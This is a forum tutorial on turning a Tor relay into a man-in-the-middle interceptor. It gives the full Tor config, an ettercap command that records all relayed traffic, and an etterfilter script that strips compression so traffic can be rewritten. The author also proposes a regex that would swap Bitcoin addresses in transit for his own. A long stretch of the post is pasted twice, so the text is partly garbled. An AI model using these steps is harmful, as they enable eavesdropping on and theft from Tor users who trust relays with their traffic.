Tutorial Tor MiTM Relay (1 Viewer)

[Deleted member 242936]

So in light of recent events I thought I'd show you a quick way to setup a Tor MiTM Relay, this was done on Debian Buster (10.5)

Let's install Tor (You can get the latest packages by adding the Tor repo to your /apt/sources.list

Code
apt update
apt install tor


When those packages have finished installing Tor will automatically start running so let's stop that

Code
systemctl stop tor

Now remove the default Tor config

Code
rm /etc/tor/torrc

Now create a new torrc file and paste the following

Code
touch /etc/tor/torrc


Code
SOCKSPort 192.168.0.1:9100 # Bind to this address:port too, default is 9050
ExitPolicy accept *:80-444
ExitPolicy reject *:82-6500
ControlPort 9051
HashedControlPassword 16:BE7C48D44CF26570606B3676D65DC5357788CC1CF14006B06F5BC2399D - DO NOT USE THIS PASSWORD!
Nickname YOURRELAYNAME - CHANGE ME
ORPort 9001
SocksListenAddress 127.0.0.1

Remember to change the HASHED CONTROL PASSWORD with the following and the Nickname with whatever you want

Code
tor --hash-password YOURPASSWORD

Now we are ready to run Tor if you have kept your torrc file under /etc/tor/torrc this will be the default config now run the following (not as root!)

Code
tor -f /etc/tor/torrc

Wait until Tor finishes connecting and open a new root terminal now it's time to install ettercap (You could probably use another tool if you wanted)

Code
apt install ettercap

Now our relay is up and running so how do we start sniffing the traffic ? with one simple command

Code
ettercap -T -w dump.pcap -E -i wlp2s0

This is now a Tor relay which is sniffing all the traffic going through it, you could probably add a filter to modify traffic on the fly. (Currently trying to get this working with a regex, if anyone has any ideas about this then send me a PM I've already got the filter ready just needs a little tweaking) The filter for replacing text is below adding something like this (^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$) to the script below would allow you to replace any Bitcoin address as yours (In theory)

Code
PASSWORD with the following and the Nickname with whatever you want

Code
tor --hash-password YOURPASSWORD

Now we are ready to run Tor if you have kept your torrc file under /etc/tor/torrc this will be the default config now run the following (not as root!)

Code
tor -f /etc/tor/torrc

Wait until Tor finishes connecting and open a new root terminal now it's time to install ettercap (You could probably use another tool if you wanted)

Code
apt install ettercap

Now our relay is up and running so how do we start sniffing the traffic ? with one simple command

Code
ettercap -T -w dump.pcap -E -i wlp2s0

This is now a Tor relay which is sniffing all the traffic going through it, you could probably add a filter to modify traffic on the fly. (Currently trying to get this working with a regex, if anyone has any ideas about this then send me a PM I've already got the filter ready just needs a little tweaking) The filter for replacing text is below adding something like this (^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$) to the script below would allow you to replace any Bitcoin address as yours (In theory)

Code
##
# This filter will replace certain words In tcp packet
# requests befor forward the packet back to target host.
# based on code from ALoR, NaGA & Morpheus
##

##########################
## Zap Content Encoding ##
##########################
# change target request to server
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("\n[test] host:127.0.0.1 [ ⊶ ] found ☆");
msg("[test] |_ packet Accept-Encoding zapped \n");
}
}

if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
msg("[test] host:127.0.0.1 [ <- ] port:80 http ☆");
if (search(DATA.data, "gzip")) {
replace("gzip", " "); # note: four spaces In the replacement string
}
}

Click to read more...